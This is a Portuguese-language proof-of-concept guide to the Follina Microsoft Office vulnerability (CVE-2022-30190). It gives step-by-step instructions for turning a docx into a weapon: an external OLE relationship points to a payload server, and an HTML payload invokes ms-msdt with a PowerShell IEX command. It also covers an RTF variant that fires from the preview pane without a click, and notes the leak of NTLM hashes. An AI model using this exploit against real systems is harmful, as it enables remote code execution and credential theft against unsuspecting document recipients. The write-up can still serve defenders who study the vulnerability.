
POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina
Info : Nova vulnerabilidade zero-day do Microsoft Office usada em ataques para executar PowerShell
Em 29 de maio de 2022, a equipe Nao_Sec, um time independente de Pesquisa em Segurança Cibernética, descobriu um documento malicioso do Office compartilhado no Virustotal. Este documento está usando um esquema incomum, mas conhecido, para infectar suas vítimas. O esquema não foi detectado como malicioso por alguns EDR, como o Microsoft Defender para Endpoint. Essa vulnerabilidade pode levar à execução de código sem a necessidade de interação do usuário, pois não envolve macros, exceto se o modo de Exibição Protegida estiver ativado. Ainda não há um número CVE atribuído.
A vulnerabilidade está sendo explorada usando o esquema de URI MSProtocol para carregar algum código. Atacantes podem incorporar links maliciosos dentro de documentos, modelos ou e-mails do Microsoft Office começando com ms-msdt: que serão carregados e executados posteriormente sem interação do usuário — exceto se o modo de Exibição Protegida estiver ativado. No entanto, converter o documento para o formato RTF também pode contornar o recurso de Exibição Protegida.
Arquivos docx do MS Office podem conter referências externas de objetos OLE como arquivos HTML. Existe um esquema HTML "ms-msdt:" que invoca a ferramenta de diagnóstico msdt, que é capaz de executar código arbitrário (especificado nos parâmetros).
O resultado é um vetor de ataque aterrorizante para obter RCE através da abertura de arquivos docx maliciosos (sem usar macros).
Aqui estão os passos para construir um docx de Prova de Conceito:
Abra o Word (usei o 2019 Pro atualizado, 16.0.10386.20017), crie um documento fictício, insira um objeto (OLE) (como uma Imagem Bitmap), salve como docx.
Edite word/_rels/document.xml.rels na estrutura docx (é um zip simples). Modifique a tag XML <Relationship> com o atributo
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
e Target="embeddings/oleObject1.bin" alterando o valor de Target e adicionando o atributo TargetMode:
Target = "http://<servidor_payload>/payload.html!"
TargetMode = "External"
Observe o valor do Id (provavelmente é "rId5").
word/document.xml. Procure pela tag "<o:OLEObject ..>" (com r:id="rId5") e altere o atributo de Type="Embed" para Type="Link" e adicione o atributo UpdateMode="OnCall".NOTA: O docx malicioso criado é quase o mesmo que para CVE-2021-44444.
http://<servidor_payload>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA deve ser repetido >60 vezes
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Observe que:
Além disso, o payload de acionamento pode alcançar locais remotos. Embora seja improvável que isso invoque um binário não confiável, a conexão ainda carregará hashes NTLM (o que significa que os atores maliciosos agora têm um hash da senha do Windows da vítima) que podem ser usados por um adversário para pós-exploração adicional.
Se você também adicionar esses elementos sob o elemento <o:OLEObject> em word/document.xml no passo 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
então funcionará também como RTF (abra o docx resultante e salve como RTF).
Com RTF, não há necessidade de abrir o arquivo no Word, basta navegar até o arquivo e visualizá-lo no painel de pré-visualização. O painel de pré-visualização aciona o payload HTML externo e o RCE está presente sem nenhum clique.